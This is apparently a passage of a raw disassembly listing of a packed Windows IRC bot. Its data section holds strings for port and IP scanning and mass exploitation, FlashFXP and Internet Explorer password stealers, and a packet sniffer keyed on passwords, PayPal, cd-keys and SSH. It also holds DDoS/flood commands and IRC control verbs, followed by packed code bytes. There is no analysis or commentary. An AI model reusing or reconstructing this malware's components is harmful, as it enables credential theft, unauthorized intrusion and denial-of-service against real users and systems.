0ADFDEF00h, 6 dup(0) dd offset sub_40D3D6 dd 3, 0 dd 0C8EBA5A9h, 3 dup(0) dd 0EA000000h, 0ADFAh, 5 dup(0) dd 0D3D60000h, 30040h, 0 dd 0A5A90000h, 0CFEBh, 3 dup(0) dd 0ADFAEA00h, 6 dup(0) dd offset sub_40D3D6 dd 3, 0 dd 9EF5AFBAh, 92CC87A2h, 2 dup(0) dd 0E8000000h, 0C2AAFFh, 5 dup(0) dd 0B7D00000h, 10040h, 0 dd 0AFBA0000h, 87A29EF5h, 8B92CCh, 2 dup(0) dd 0AAFFE800h, 0C2h, 5 dup(0) dd offset sub_40BAAF dd 1, 0 dd 8AEBBDB3h, 0B9h, 2 dup(0) dd 0EF000000h, 0C8ABFAh, 5 dup(0) dd 0C63E0000h, 10040h, 0 dd 0BDB30000h, 96B98AEBh, 0CA84DFh, 2 dup(0) dd 0ABFAEF00h, 0C8h, 5 dup(0) dd offset nullsub_1 dd 1, 0 dd 98EBA7BDh, 0BAh, 2 dup(0) dd 0EC000000h, 0FDh, 5 dup(0) dd 0B61A0000h, 40h, 10h dup(0) dword_418138 dd 6E695728h, 293233h ; DATA XREF: sub_40EB16+18Do dword_418140 dd 696E5528h, 2978h ; DATA XREF: sub_40EB16+16Fo dword_418148 dd 63617041h, 252F6568h, 75h ; DATA XREF: sub_40EB16+162o aApache db 'Apache',0 ; DATA XREF: sub_40EB16+149o align 4 aMicrosoftIisU_ db 'Microsoft-IIS/%u.%u',0 ; DATA XREF: sub_40EB16+EAo aMicrosoftIis db 'Microsoft-IIS',0 ; DATA XREF: sub_40EB16+CAo align 10h aServer db 'Server:',0 ; DATA XREF: sub_40EB16+72o aOptionsHttp1_0 db 'OPTIONS / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_40EB16+Eo db 0Dh,0Ah,0 align 10h unk_4181A0 db 53h ; S ; DATA XREF: sub_40EE23+475o db 63h, 61h, 6Eh db 6Eh ; n db 65h, 64h, 20h db 3 db 30h, 34h, 2 db 25h ; % db 73h, 3, 2 db 3Ah ; : db 25h, 73h, 20h db 69h ; i db 6Eh, 20h, 3 db 30h ; 0 db 34h, 2, 25h db 30h ; 0 db 2Eh, 32h, 66h db 3 db 2, 73h, 65h db 63h ; c db 2Eh, 20h, 3 db 30h ; 0 db 34h, 2, 25h db 75h ; u db 3, 2, 20h aOpenIpSFound db 'open IP(s) found',0 align 4 dword_4181E4 dd 2343003h, 2037325h, 2073253Ah, 6F207369h, 6E6570h ; DATA XREF: sub_40EE23+412o dword_4181F8 dd 3430032Dh, 3752502h, 53202D02h, 6E6E6163h, 20676E69h ; DATA XREF: sub_40EE23+26Ao dd 2343003h, 2037325h, 2073253Ah, 20726F66h, 2343003h dd 2037525h, 63657320h, 28646E6Fh, 2973h dword_418230 dd 6E616353h, 676E696Eh, 34300320h, 3732502h, 73253A02h ; DATA XREF: sub_40EE23+234o dd 726F6620h, 34300320h, 3752502h, 65732002h, 646E6F63h dd 297328h unk_41825C db 53h ; S ; DATA XREF: sub_40F2C2+186o db 63h, 61h, 6Eh db 6Eh ; n db 69h, 6Eh, 67h db 20h db 3, 30h, 34h db 2 db 25h, 73h, 3 db 2 db 3Ah, 25h, 73h db 20h db 66h, 6Fh, 72h db 20h db 3, 30h, 34h db 2 db 25h, 75h, 3 db 2 aSecondSTUSU db ' second(s), t:%u s:%u',0 align 4 dword_418294 dd 3430032Dh, 3752502h, 41202D02h, 6D657474h, 64657470h ; DATA XREF: sub_40F461+24Ao dd 34300320h, 3752502h, 78652002h, 696F6C70h, 69746174h dd 73286E6Fh, 6E6F2029h, 34300320h, 3752502h, 50492002h dd 2E297328h, 0 dword_4182D8 dd 65747441h, 6974706Dh, 7420676Eh, 7865206Fh, 696F6C70h ; DATA XREF: sub_40F461+1F6o dd 30032074h, 73250234h, 77200203h, 20687469h, 2343003h dd 2037325h, 2E2E2Eh unk_418308 db 2Dh ; - ; DATA XREF: sub_40F461+39o db 3, 30h, 34h db 2 db 25h, 75h, 3 db 2 aAttemptingTo_0 db '- Attempting to exploit IP',27h,'s in list.',0 align 4 aAttemptingToEx db 'Attempting to exploit IP',27h,'s in list.',0 ; DATA XREF: sub_40F6CD+43o dword_41835C dd 3003203Ah, 75250234h, 202E0203h, 0 ; DATA XREF: sub_40F727+7Do aExploitStatist db 'Exploit statistics - ',0 ; DATA XREF: sub_40F727+2Co align 4 aListingExploit db 'Listing exploit statistics',0 ; DATA XREF: sub_40F7FD+21o align 10h dword_4183A0 dd 62616E55h, 7420656Ch, 6F63206Fh, 63656E6Eh, 6F742074h ; DATA XREF: sub_40F835:loc_40F8E1o dd 34300320h, 3732502h, 6F702002h, 3207472h, 25023430h dd 2E020373h, 0 dword_4183D0 dd 656D6954h, 2074756Fh, 7563636Fh, 20646572h, 6C696877h ; DATA XREF: sub_40F835+A5o dd 6F632065h, 63656E6Eh, 676E6974h, 206F7420h, 2343003h dd 2037325h, 3430033Ah, 3732502h, 202E02h dword_418408 dd 6E6E6F43h, 65746365h, 6F742064h, 34300320h, 3732502h ; DATA XREF: sub_40F835+72o dd 30033A02h, 73250234h, 69200203h, 3003206Eh, 75250234h dd 203736Dh, 2Eh dword_418438 dd 6E6E6F43h, 69746365h, 7420676Eh, 7325206Fh, 726F7020h ; DATA XREF: sub_40F908+A7o dd 30032074h, 73250234h, 203h unk_418458 db 53h ; S ; DATA XREF: sub_40F9C9+1B4o db 63h, 61h, 6Eh db 6Eh ; n db 65h, 64h, 20h db 25h ; % db 73h, 20h, 69h db 6Eh ; n db 20h, 3, 30h db 34h ; 4 db 2, 25h, 30h db 2Eh ; . db 32h, 66h, 3 db 2 db 73h, 65h, 63h db 2Eh ; . db 20h, 3, 30h db 34h ; 4 db 2, 25h, 75h db 3 db 2, 20h, 6Fh aPenPortSFound db 'pen port(s) found',0 align 4 dword_418494 dd 33A7325h, 25023430h, 20020373h, 6F207369h, 6E6570h ; DATA XREF: sub_40F9C9+164o dword_4184A8 dd 3430032Dh, 3752502h, 53202D02h, 6E6E6163h, 20676E69h ; DATA XREF: sub_40F9C9+81o dd 70207325h, 2074726Fh, 2343003h, 2037525h, 3430032Dh dd 3752502h, 69772002h, 3206874h, 25023430h, 20020375h dd 6B636F73h, 73287465h, 29h dword_4184F0 dd 6E616353h, 676E696Eh, 20732520h, 74726F70h, 34300320h ; DATA XREF: sub_40FBA7+15Fo dd 3752502h, 30032D02h, 75250234h, 77200203h, 20687469h dd 2343003h, 2037525h, 636F7320h, 2874656Bh, 2973h aYa36za48dehfrv db 'yA36zA48dEhfrvghGRg57h5UlDv3',0 ; DATA XREF: sub_40FD22+15o ; sub_40FD22+73o align 4 aSflashfxpSites db '%sFlashFXP\sites.dat',0 ; DATA XREF: sub_40FDB3+DAo align 4 aFlashfxpSites_ db '\FlashFXP\sites.dat',0 ; DATA XREF: sub_40FDB3+9Co aProgramfiles db 'ProgramFiles',0 ; DATA XREF: sub_40FDB3+91o align 4 aSites_dat db 'sites.dat',0 ; DATA XREF: sub_40FDB3+6Co align 4 aFlashfxp_exe1 db 'FlashFXP.exe %1',0 ; DATA XREF: sub_40FDB3+55o aSoftwareClasse db 'SOFTWARE\Classes\Applications\FlashFXP.exe\shell\open\command',0 ; DATA XREF: sub_40FDB3+15o align 4 unk_4185E4 db 2Dh ; - ; DATA XREF: sub_40FEB8+2D3o db 3, 30h, 34h db 2 db 25h, 75h, 3 db 2 db 2Dh, 20h, 4Ch db 69h ; i db 73h, 74h, 65h db 64h ; d db 20h, 3, 30h db 34h ; 4 db 2, 25h, 75h db 3 db 2, 2Fh, 3 db 30h ; 0 db 34h, 2, 25h db 75h ; u db 3, 2, 20h aFlashfxpPass_0 db 'FlashFXP password(s).',0 align 10h dword_418620 dd 2343003h, 2037525h ; DATA XREF: sub_40FEB8+27Ao a_FlashfxpFtpSS db '. FlashFXP - ftp://%s:%s@%s:%s - %s',0 aPass127s db 0Dh,0Ah ; DATA XREF: sub_40FEB8+219o db 'Pass=%127s',0Dh,0Ah,0 align 4 aUser127s db 0Dh,0Ah ; DATA XREF: sub_40FEB8+202o db 'User=%127s',0Dh,0Ah,0 align 4 aPort127s db 0Dh,0Ah ; DATA XREF: sub_40FEB8+1EBo db 'Port=%127s',0Dh,0Ah,0 align 4 aIp127s db 0Dh,0Ah ; DATA XREF: sub_40FEB8+1D4o db 'IP=%127s',0Dh,0Ah,0 align 4 asc_41868C db '[%[^]]]',0Dh,0Ah,0 ; DATA XREF: sub_40FEB8+1A7o align 4 aPass_0 db 0Dh,0Ah ; DATA XREF: sub_40FEB8+130o db 'Pass=',0 aUser_0 db 0Dh,0Ah ; DATA XREF: sub_40FEB8+122o db 'User=',0 aPort db 0Dh,0Ah ; DATA XREF: sub_40FEB8+114o db 'Port=',0 aIp db 0Dh,0Ah ; DATA XREF: sub_40FEB8+107o db 'IP=',0 align 4 asc_4186B8 db 0Dh,0Ah ; DATA XREF: sub_40FEB8:loc_40FFB4o db 0Dh,0Ah db '[',0 align 10h unk_4186C0 db 2Dh ; - ; DATA XREF: sub_40FEB8+5Co db 3, 30h, 34h db 2 db 25h, 75h, 3 db 2 aListingFlashfx db '- Listing FlashFXP passwords',0 align 4 aFlashfxpPasswo db 'FlashFXP password stealer',0 ; DATA XREF: sub_4101AE+21o align 4 unk_418704 db 2Dh ; - ; DATA XREF: sub_4101E6+718o db 3, 30h, 34h db 2 db 25h, 75h, 3 db 2 db 2Dh, 20h, 4Ch db 69h ; i db 73h, 74h, 65h db 64h ; d db 20h, 3, 30h db 34h ; 4 db 2, 25h, 75h db 3 db 2, 20h, 69h aNternetExplore db 'nternet explorer password(s).',0 align 10h dword_418740 dd 2343003h, 2037525h, 4549202Eh, 7475413Ah, 6D6F436Fh ; DATA XREF: sub_4101E6+688o dd 74656C70h, 61502065h, 6F777373h, 20736472h, 6953202Dh dd 203A6574h, 2343003h, 2037325h, 614E202Eh, 203A656Dh dd 2343003h, 2037325h, 6150202Eh, 6F777373h, 203A6472h dd 2343003h, 2037325h, 2Eh dword_41879C dd 2343003h, 2037525h, 4549202Eh, 7475413Ah, 6F43206Fh ; DATA XREF: sub_4101E6+5F2o dd 656C706Dh, 66206574h, 646C6569h, 202D2073h, 6C656946h dd 3203A64h, 25023430h, 2E020373h, 74614420h, 3203A61h dd 25023430h, 2E020373h, 0 dword_4187E4 dd 70747468h, 2F3A73h ; DATA XREF: sub_4101E6+5B0o dword_4187EC dd 70747468h, 2F3Ah ; DATA XREF: sub_4101E6+599o dword_4187F4 dd 7274533Ah, 676E69h ; DATA XREF: sub_4101E6+554o aStringindex db 'StringIndex',0 ; DATA XREF: sub_4101E6+53Fo aE161255a db 'e161255a',0 ; DATA XREF: sub_4101E6+525o align 4 dword_418814 dd 2343003h, 2037525h, 534D202Eh, 7845204Eh, 726F6C70h ; DATA XREF: sub_4101E6+4FEo dd 2D207265h, 4E534D20h, 3A444920h, 34300320h, 3732502h dd 50202E02h, 77737361h, 3A64726Fh, 34300320h, 3732502h dd 2E02h dword_418854 dd 2Ch ; DATA XREF: sub_4101E6+442o ; sub_4101E6+619o aB9819c52 db 'b9819c52',0 ; DATA XREF: sub_4101E6+3B7o align 4 dword_418864 dd 2343003h, 2037525h, 4549202Eh, 7361503Ah, 726F7773h ; DATA XREF: sub_4101E6+3A3o dd 72502D64h, 6365746Fh, 20646574h, 6953202Dh, 203A6574h dd 2343003h, 2037325h, 614E202Eh, 203A656Dh, 2343003h dd 2037325h, 6150202Eh, 6F777373h, 203A6472h, 2343003h dd 2037325h, 2Eh a5e7e8100 db '5e7e8100',0 ; DATA XREF: sub_4101E6+310o align 4 dword_4188C8 dd 2343003h, 2037525h, 754F202Eh, 6F6F6C74h, 7078456Bh ; DATA XREF: sub_4101E6+2FCo dd 73736572h, 4E202D20h, 3A656D61h, 34300320h, 3732502h dd 50202E02h, 77737361h, 3A64726Fh, 34300320h, 3732502h dd 2E02h a220d5cc1 db '220d5cc1',0 ; DATA XREF: sub_4101E6+2CEo align 4 aWs db '%ws',0 ; DATA XREF: sub_4101E6+1FAo asc_418918 db '%x',0 ; DATA XREF: sub_4101E6+117o align 4 unk_41891C db 2Dh ; - ; DATA XREF: sub_4101E6+B0o db 3, 30h, 34h db 2 db 25h, 75h, 3 db 2 aListingInterne db '- Listing internet explorer passwords',0 align 10h dword_418950 dd 5A6F1EC0h, 11D02DB1h, 0C000398Ch, 6B12D94Fh ; DATA XREF: sub_4101E6+85o ; sub_4101E6+154o ... aInternetExplor db 'Internet explorer password stealer',0 ; DATA XREF: sub_41094B+2Ao align 4 dword_418984 dd 65746E49h, 74736572h, 20676E69h, 636F7270h, 65737365h ; DATA XREF: sub_410999+180o dd 202D2073h, 75736956h, 43206C61h, 36202B2Bh, 3003203Ah dd 73250234h, 202E0203h, 65726E55h, 52496C61h, 203A4443h dd 2343003h, 2037325h, 7453202Eh, 3A6D6165h, 34300320h dd 3732502h, 57202E02h, 646C726Fh, 20664F20h, 63726157h dd 74666172h, 3003203Ah, 73250234h, 202E0203h, 716E6F43h dd 20726575h, 696C6E4Fh, 203A656Eh, 2343003h, 2037325h dd 2Eh aSoftwareValveS db 'Software\Valve\Steam',0 ; DATA XREF: sub_410999+EFo align 4 aSoftwareMicr_0 db 'SOFTWARE\Microsoft\VisualStudio\6.0\Setup\Microsoft Visual C++',0 ; DATA XREF: sub_410999+BFo align 4 aConquer db '[Conquer]',0 ; DATA XREF: sub_410999+91o align 4 aWorldOfWarcraf db 'World Of Warcraft',0 ; DATA XREF: sub_410999+77o align 4 aUnreal3 db 'Unreal3',0 ; DATA XREF: sub_410999+59o aListingInteres db 'Listing interesting processes',0 ; DATA XREF: sub_410B3B+21o align 4 off_418AB4 dd offset aUser_1 ; DATA XREF: sub_410BC3+2Do ; "user " dd offset aUnknown_1 ; "unknown " dd offset aPass_2 ; "pass " dd offset aMailpass ; "MailPass " dd offset aOper ; "oper " dd 0 dd offset aIdentify ; "identify " dd 0 dd offset aAuth_0 ; " :auth " dd 0 dd offset aPasswd_0 ; "passwd=" dd 0 dd offset aUsername_0 ; "username=" dd 0 dd offset aPassword_0 ; "password=" dd 0 dd offset aLogin_1 ; "login=" dd 0 dd offset aPass_1 ; "pass=" dd 0 dd offset aPw ; "pw=" align 10h off_418B10 dd offset aLogin_0 ; DATA XREF: sub_410BC3+45o ; "login " align 8 dd offset aSxt ; "sxt " align 10h dd offset aAuth ; "auth " align 8 dd offset aPasswort ; "passwort " align 10h dd offset aCdkey ; "cdkey" align 8 dd offset aCdKey_0 ; "cd-key" align 10h dd offset aCdKey ; "cd key" align 8 dd offset aPassword ; "password" align 10h dd offset aPaypal_com ; "paypal.com" align 8 dd offset aPaypal ; "paypal" align 10h dd offset aIrcOperator ; "irc operator" align 8 dd offset aLP ; "l/p" align 10h dd offset aSsh1_5 ; "SSH-1.5" align 8 dd offset aSsh1_99 ; "SSH-1.99" dd 2 dup(0) off_418B84 dd offset aSetCookie ; DATA XREF: sub_410BC3+5Do ; "Set-Cookie:" dd 0 dd offset aSyn ; "syn" dd 0 dd offset aFlood ; "flood " dd 0 dd offset aClone ; "clone " dd 0 dd offset aServU_0 ; "serv-u" dd 0 dd offset aServU ; "serv u" dd 0 dd offset aServu ; "servu" dd 0 dd offset aDdos ; "ddos" dd 2 dup(0) off_418BC8 dd offset dword_418C24 ; DATA XREF: sub_410BC3+75o align 10h dd offset dword_418C1C align 8 dd offset dword_418C14 align 10h dd offset dword_418C0C align 8 dd offset dword_418C04 align 10h dd offset dword_418BFC dd 2 dup(0) dword_418BFC dd 54495551h, 20h ; DATA XREF: .packed:00418BF0o dword_418C04 dd 54524150h, 20h ; DATA XREF: .packed:00418BE8o dword_418C0C dd 4E494F4Ah, 20h ; DATA XREF: .packed:00418BE0o dword_418C14 dd 49504F54h, 2043h ; DATA XREF: .packed:00418BD8o dword_418C1C dd 49544F4Eh, 204543h ; DATA XREF: .packed:00418BD0o dword_418C24 dd 56495250h, 2047534Dh, 0 ; DATA XREF: .packed:off_418BC8o aDdos db 'ddos',0 ; DATA XREF: .packed:00418BBCo align 4 aServu db 'servu',0 ; DATA XREF: .packed:00418BB4o align 10h aServU db 'serv u',0 ; DATA XREF: .packed:00418BACo align 4 aServU_0 db 'serv-u',0 ; DATA XREF: .packed:00418BA4o align 10h aClone db 'clone ',0 ; DATA XREF: .packed:00418B9Co align 4 aFlood db 'flood ',0 ; DATA XREF: .packed:00418B94o align 10h aSyn db 'syn',0 ; DATA XREF: .packed:00418B8Co aSetCookie db 'Set-Cookie:',0 ; DATA XREF: .packed:off_418B84o aSsh1_99 db 'SSH-1.99',0 ; DATA XREF: .packed:00418B78o align 4 aSsh1_5 db 'SSH-1.5',0 ; DATA XREF: .packed:00418B70o aLP db 'l/p',0 ; DATA XREF: .packed:00418B68o aIrcOperator db 'irc operator',0 ; DATA XREF: .packed:00418B60o align 4 aPaypal db 'paypal',0 ; DATA XREF: .packed:00418B58o align 10h aPaypal_com db 'paypal.com',0 ; DATA XREF: .packed:00418B50o align 4 aCdKey db 'cd key',0 ; DATA XREF: .packed:00418B40o align 4 aCdKey_0 db 'cd-key',0 ; DATA XREF: .packed:00418B38o align 4 aCdkey db 'cdkey',0 ; DATA XREF: .packed:00418B30o align 4 aPasswort db 'passwort ',0 ; DATA XREF: .packed:00418B28o align 10h aAuth db 'auth ',0 ; DATA XREF: .packed:00418B20o align 4 aSxt db 'sxt ',0 ; DATA XREF: .packed:00418B18o align 10h aLogin_0 db 'login ',0 ; DATA XREF: .packed:off_418B10o align 4 aPw db 'pw=',0 ; DATA XREF: .packed:00418B04o aPass_1 db 'pass=',0 ; DATA XREF: .packed:00418AFCo align 4 aLogin_1 db 'login=',0 ; DATA XREF: .packed:00418AF4o align 4 aPassword_0 db 'password=',0 ; DATA XREF: .packed:00418AECo align 4 aUsername_0 db 'username=',0 ; DATA XREF: .packed:00418AE4o align 4 aPasswd_0 db 'passwd=',0 ; DATA XREF: .packed:00418ADCo aAuth_0 db ' :auth ',0 ; DATA XREF: .packed:00418AD4o aIdentify db 'identify ',0 ; DATA XREF: .packed:00418ACCo align 10h aOper db 'oper ',0 ; DATA XREF: .packed:00418AC4o align 4 aMailpass db 'MailPass ',0 ; DATA XREF: .packed:00418AC0o align 4 aPass_2 db 'pass ',0 ; DATA XREF: .packed:00418ABCo align 4 aUnknown_1 db 'unknown ',0 ; DATA XREF: .packed:00418AB8o align 4 aUser_1 db 'user ',0 ; DATA XREF: .packed:off_418AB4o align 10h dword_418D60 dd 70737553h, 6F696369h, 70207375h, 656B6361h, 72662074h ; DATA XREF: sub_410C55+379o dd 3206D6Fh, 25023430h, 3A020373h, 2343003h, 2037525h dd 73253E2Dh, 2075253Ah, 0 unk_418D94 db 2Dh ; - ; DATA XREF: sub_410C55+FBo db 3, 30h, 34h db 2 db 25h, 75h, 3 db 2 db 2Dh, 20h, 4Ch db 65h ; e db 76h, 65h, 6Ch db 20h db 3, 30h, 34h db 2 db 25h, 75h, 3 db 2 aPacketSnifferR db ' packet sniffer running',0 align 4 dword_418DC8 dd 6576654Ch, 3003206Ch, 75250234h, 70200203h, 656B6361h ; DATA XREF: sub_4110B4+6Fo dd 6E732074h, 65666669h, 72h, 418DECh, 97F7A1AEh, 87CA88FBh dd 0E18DA597h, 2 dup(0) dword_418E00 dd 0CD9F82A3h ; DATA XREF: sub_407A76+53Er ; sub_4111E8+54r ... dword_418E04 dd 0D4EE5D68h ; DATA XREF: sub_4111E8+4Dr dword_418E08 dd 1FC7575Bh ; DATA XREF: sub_4111E8+42r dword_418E0C dd 139AB344h ; DATA XREF: sub_4111E8+3Cr dd 7265h, 0 off_418E18 dd offset dword_4190E0 ; DATA XREF: sub_40A236+108r ; sub_40A236+110o ... align 10h off_418E20 dd offset dword_417D18 ; DATA XREF: sub_407A76+4EEr ; sub_4091AD+51r ... off_418E24 dd offset dword_417D0C ; DATA XREF: sub_4091AD+85r off_418E28 dd offset dword_417D04 ; DATA XREF: sub_4091AD+96r dd offset dword_417CF0 dd offset dword_417CE4 dd offset dword_417D04 dd 3 dup(0) dword_418E44 dd 0C4A7F1E1h, 81D9EAh, 0 ; DATA XREF: sub_409277+126o ; sub_409918+27Bo dword_418E50 dd 656E2323h, 23736472h, 23h, 1Dh dup(0) ; DATA XREF: sub_40287C+109o ; sub_406BBC+59o ... byte_418ED0 db 0FDh ; DATA XREF: sub_409277+23Er ; sub_409277+24Do db 0EDh, 0EBh, 8Eh dd 99CC83A5h, 0F59BB8DCh, 83A7h, 1Ch dup(0) byte_418F50 db 0 ; DATA XREF: sub_409277+261r ; sub_409277+26Fo align 4 dd 1Fh dup(0) dword_418FD0 dd 3430032Eh, 2036202h, 0 ; DATA XREF: sub_407A76:loc_408CDDo ; sub_409918+206o dword_418FDC dd 98FAABA9h, 0D98CD5B9h, 93A6DDh, 3Eh dup(0) ; DATA XREF: sub_404D00+33o ; sub_404DAD+32o dword_4190E0 dd 0BBB2EFF4h, 93CC83BBh, 0E999E4CAh, 8BC58EF6h, 0ABB8h ; DATA XREF: .packed:off_418E18o dd 0 dword_4190F8 dd 3430032Dh, 62656402h, 2036775h ; DATA XREF: .packed:0041149Bo aEipHasLeftTheE db '- eip has left the endless loop for some reason...',0 align 4 aEntry db 'entry',0 ; DATA XREF: .packed:00411474o align 10h aLoop db 'loop',0 ; DATA XREF: sub_4111E8:loc_411440o align 4 aPing08x db 'PING :%08X',0 ; DATA XREF: sub_4111E8+1FDo align 4 a08xX08x3x08x08 db '%08x%x%08x%3x%08x%08x',0 ; DATA XREF: sub_4111E8+5Ao align 10h dword_419170 dd 0DF0B3D60h, 101B548Fh, 8658Eh, 19D12B2Bh ; DATA XREF: sub_4117FE+15o off_419180 dd offset off_4122CC ; DATA XREF: .packed:off_4122D0o ; .packed:0041230Co ... align 8 a_?av_com_error db '.?AV_com_error@@',0 align 10h off_4191A0 dd offset off_4122CC ; DATA XREF: .packed:off_412318o ; .packed:00412354o align 8 a_?avtype_info@ db '.?AVtype_info@@',0 dword_4191B8 dd 0 ; DATA XREF: sub_401534:loc_401548r ; sub_401621+143w dword_4191BC dd 0 ; DATA XREF: sub_401534:loc_401555r ; sub_401621+14Bw ... dword_4191C0 dd 0 ; DATA XREF: sub_401534:loc_401562r ; sub_401621+ACo ... dword_4191C4 dd 0 ; DATA XREF: sub_401534r ; sub_401621+13Bw ... dd 0 dword_4191CC dd 0 ; DATA XREF: sub_401571+35r ; sub_401571+50r ... byte_4191D0 db 0 ; DATA XREF: sub_401621+10Bo ; sub_402230+3Br ... align 8 dword_4191D8 dd 0 ; DATA XREF: sub_40287C+1Dr ; sub_40392A:loc_40393Cr ... dword_4191DC dd 0 ; DATA XREF: sub_40287C+Eo dword_4191E0 dd 0 ; DATA XREF: sub_402D7B+21w ; sub_4071D2+Fr align 8 dword_4191E8 dd 0 ; DATA XREF: sub_402D7B+42w dword_4191EC dd 0 ; DATA XREF: sub_402D7B+4Fw dword_4191F0 dd 0 ; DATA XREF: sub_402D7B+5Cw dword_4191F4 dd 0 ; DATA XREF: sub_402D7B+69w dword_4191F8 dd 0 ; DATA XREF: sub_402D7B+76w dword_4191FC dd 0 ; DATA XREF: sub_402D7B+83w dword_419200 dd 0 ; DATA XREF: sub_402D7B+90w dword_419204 dd 0 ; DATA XREF: sub_402D7B+9Dw dword_419208 dd 0 ; DATA XREF: sub_402D7B+A4w dword_41920C dd 0 ; DATA XREF: sub_402D7B+C4w ; sub_40CEBE+12r ... dword_419210 dd 0 ; DATA XREF: sub_402D7B+D1w dword_419214 dd 0 ; DATA XREF: sub_402D7B+DEw ; sub_40CEBE+1Er ... dword_419218 dd 0 ; DATA XREF: sub_402D7B+E5w dword_41921C dd 0 ; DATA XREF: sub_402D7B+17Aw ; sub_40656A+D3r dword_419220 dd 0 ; DATA XREF: sub_402D7B+162w ; sub_4101E6+41r ... dword_419224 dd 0 ; DATA XREF: sub_402D7B+101w ; sub_402D7B+115r ... dword_419228 dd 0 ; DATA XREF: sub_401B81+9Ar ; sub_402D7B+10Ew ... dword_41922C dd 0 ; DATA XREF: sub_402D7B+11Cw ; sub_402D7B+145w ... dd 101h dup(0) dword_419634 dd 0 ; DATA XREF: sub_403338r ; sub_403338+1Bo dword_419638 dd 0 ; DATA XREF: sub_403338+Fo ; sub_403338:loc_403360r align 10h dword_419640 dd 0 ; DATA XREF: sub_4045B7+40w ; sub_4045B7+63r ... dword_419644 dd 0 ; DATA XREF: sub_4045B7+4Dw ; sub_4045B7+6Cr ... dword_419648 dd 0 ; DATA XREF: sub_4045B7+5Bw ; sub_404639+150r dword_41964C dd 0 ; DATA XREF: sub_4045B7+33w ; sub_4045B7+54r ... dword_419650 dd 7 dup(0) ; DATA XREF: sub_4045B7+1o ; sub_404639+Co ... byte_41966C db 0 ; DATA XREF: sub_4045B7+79w ; sub_404639+16r align 10h dword_419670 dd 0 ; DATA XREF: sub_406A40:loc_406AB0w ; sub_406B29:loc_406B90r align 8 dword_419678 dd 6 dup(0) ; DATA XREF: sub_406B98+16o ; sub_406D58+7o ... dword_419690 dd 0 ; DATA XREF: sub_406B98w ; sub_406D58+11r ... align 8 dword_419698 dd 0 ; DATA XREF: sub_406B98+11w ; sub_406D58:loc_406D83r ... dword_41969C dd 0 ; DATA XREF: sub_407237+6r ; sub_4072FC+60w ... dword_4196A0 dd 0 ; DATA XREF: sub_4072FC+42w ; sub_4072FC+65r ... dword_4196A4 dd 0 ; DATA XREF: sub_407237+A9r ; sub_4072FC+7Fw ... dword_4196A8 dd 0 ; DATA XREF: sub_407237+80r ; sub_4072FC+72w ... align 10h byte_4196B0 db 0 ; DATA XREF: sub_4072FC+2Dr ; sub_4072FC+84w align 4 dd 101h dup(0) byte_419AB8 db 0 ; DATA XREF: sub_4091AD+Bo ; sub_409277+27r ... align 4 dd 5Fh dup(0) dword_419C38 dd 40h dup(0) ; DATA XREF: sub_4091AD+15o ; sub_4091AD+7Bo ... dword_419D38 dd 3 dup(0) ; DATA XREF: sub_4091AD:loc_4091DDo ; sub_4091AD+8Bo ... dword_419D44 dd 0 ; DATA XREF: sub_4091A7r ; sub_409522+15r ... dd 0 dword_419D4C dd 0 ; DATA XREF: sub_40A236+47w byte_419D50 db 0 ; DATA XREF: sub_40A42C+6o ; sub_40A42C+15w ... align 4 dd 40h dup(0) byte_419E54 db 0 ; DATA XREF: sub_40A606+22o ; sub_40A606+2Fo ... align 4 dd 4 dup(0) dword_419E68 dd 5 dup(0) ; DATA XREF: sub_40A67C+24o ; sub_40A67C+31o ... dword_419E7C dd 0 ; DATA XREF: sub_40B31E+24o ; sub_40B380+5w ... dword_419E80 dd 0 ; DATA XREF: sub_40B31E+30o ; sub_40B380+Fw ... dword_419E84 dd 0 ; DATA XREF: sub_40B31E+3Co ; sub_40B380+19w ... dword_419E88 dd 0 ; DATA XREF: sub_40B31E+48o ; sub_40B380+23w ... align 10h byte_419E90 db 0 ; DATA XREF: sub_40B55F+24o ; sub_40B55F+31o ... align 4 dd 5 dup(0) dword_419EA8 dd 2 dup(0) ; DATA XREF: sub_40D6E0+448o dword_419EB0 dd 0 ; DATA XREF: sub_40DE9A+308o dword_419EB4 dd 2 dup(0) ; DATA XREF: sub_40DE9A+31Ao dword_419EBC dd 0 ; DATA XREF: sub_40E523+Er ; sub_40E523+1Fw dword_419EC0 dd 0 ; DATA XREF: sub_40E523:loc_40E5A8w ; sub_40E523:loc_40E5AEr dword_419EC4 dd 2 dup(0) ; DATA XREF: sub_40E8DBo ; sub_40E951+78o dword_419ECC dd 41h dup(0) ; DATA XREF: sub_4050D1+12Do ; sub_4052DF:loc_405383o ... dword_419FD0 dd 0 ; DATA XREF: sub_407A76+530r ; sub_4111E8+FBw dword_419FD4 dd 0 ; DATA XREF: sub_4111E8+105w dword_419FD8 dd 0 ; DATA XREF: sub_4111E8+10Fw dword_419FDC dd 0 ; DATA XREF: sub_4111E8+119w dword_419FE0 dd 42h dup(0) ; DATA XREF: sub_407A76+779o ; sub_407A76+78Do ... dword_41A0E8 dd 40h dup(0) ; DATA XREF: sub_407A76+A1Fo ; sub_409277+26Ao ... byte_41A1E8 db 0 ; DATA XREF: sub_409277+E2r ; sub_409277+EBo ... align 4 dd 1Fh dup(0) byte_41A268 db 0 ; DATA XREF: sub_402EFD+E4r ; sub_402EFD+F0o ... align 4 dd 1Fh dup(0) dword_41A2E8 dd 40h dup(0) ; DATA XREF: sub_4032D2+34o ; sub_403EA9+50Co ... byte_41A3E8 db 0 ; DATA XREF: sub_407A76+1125o ; sub_409277+7Fr ... align 2000h _packed ends ; Section 2. (virtual address 0001C000) ; Virtual size : 00012F41 ( 77633.) ; Section size in file : 00012F41 ( 77633.) ; Offset to raw data for section: 0001C000 ; Flags E0000060: Text Data Executable Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute _RLPack segment para public 'CODE' use32 assume cs:_RLPack ;org 41C000h assume es:nothing, ss:nothing, ds:_packed, fs:nothing, gs:nothing dd 0EC8B1C55h, 2608E81h, 3353011Ch, 0C01D39DBh, 89E04130h dd 0FF45D06h, 0E022E984h, 0FB85056h, 3D8B0C57h, 452D2008h dd 4BEE808h, 30FF0701h, 50A8A38Dh, 19447DE3h, 0A5619D09h dd 0CC48328h, 0CF8189Fh, 5325036Ah, 7539FFEEh, 6C15B808h dd 0C7FC1C67h, 7050F098h, 0FFFEA485h, 310EBFE3h, 53EC09E4h dd 0FDA02188h, 7F75890Fh, 0FEFC08F3h, 1FF87D5Ch, 81C085D7h dd 0E47D835Fh, 9430F101h, 99300C1Eh, 0BA88FC12h, 3E6C496Ch dd 36175274h, 362F5028h, 67BB0415h, 4536037Fh, 